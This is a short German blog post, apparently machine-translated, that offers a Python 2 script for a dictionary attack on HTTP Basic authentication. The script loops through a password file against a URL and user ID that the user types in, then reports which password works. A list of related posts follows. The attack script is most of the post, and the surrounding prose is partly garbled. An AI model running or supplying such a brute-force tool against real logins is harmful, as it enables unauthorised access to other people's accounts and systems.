[PYTHON] Wörterbuchangriff auf die Standardauthentifizierung

Wörterbuchangriff auf die Standardauthentifizierung in Python

Für die Standardauthentifizierung müssen Sie nicht zwangsläufig eine grafische Benutzeroberfläche bedienen. In urllib2 gibt es eine Klasse, die normalerweise die Standardauthentifizierung durchführt. Die Standardauthentifizierung kann ein Round-Robin-Angriff oder ein Wörterbuchangriff sein, sofern Sie die ID kennen. Es ist eine sehr aggressive Technik, aber wenn Sie Glück oder Glück haben, können Sie das Passwort finden.

python


import urllib2, sys, time

class Attack:
	def __init__(self, url, userid, dictionary_file):
		self.url = url
		self.userid = userid
		self.password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
		self.dictionary_file = dictionary_file

	def main(self):
		with open(self.dictionary_file, "r") as f:
			print "[INFO]: Loading..."
			lines = f.readlines()
			for password in lines:
				try:
					self.password_mgr.add_password(None, url, self.userid, password)
					handler = urllib2.HTTPBasicAuthHandler(self.password_mgr)
					opener = urllib2.build_opener(handler)
					urllib2.install_opener(opener)
					html = urllib2.urlopen(url)
					print "[yes]: password=%s" % (password)
					break
				except Exception, e:
					print "[no]: password=%s" % (password)

if __name__ == "__main__":
	url = raw_input("Url >>> ")
	userid = raw_input("Userid >>> ")
	dictionary_file = raw_input("Dictionary file >>> ")
	Attack_ = Attack(url, userid, dictionary_file)
	Attack_.main()

Recommended Posts

Wörterbuchangriff auf die Standardauthentifizierung
Flask Basic-Zertifizierung
Python-Grundkurs (7 Wörterbuch)
Python Basic ② in Windows
Hinweise zu Python- und Wörterbuchtypen
Basisauthentifizierung, Digest-Authentifizierung mit Flask
Grundlegende Grammatik des Python3-Systems (Wörterbuch)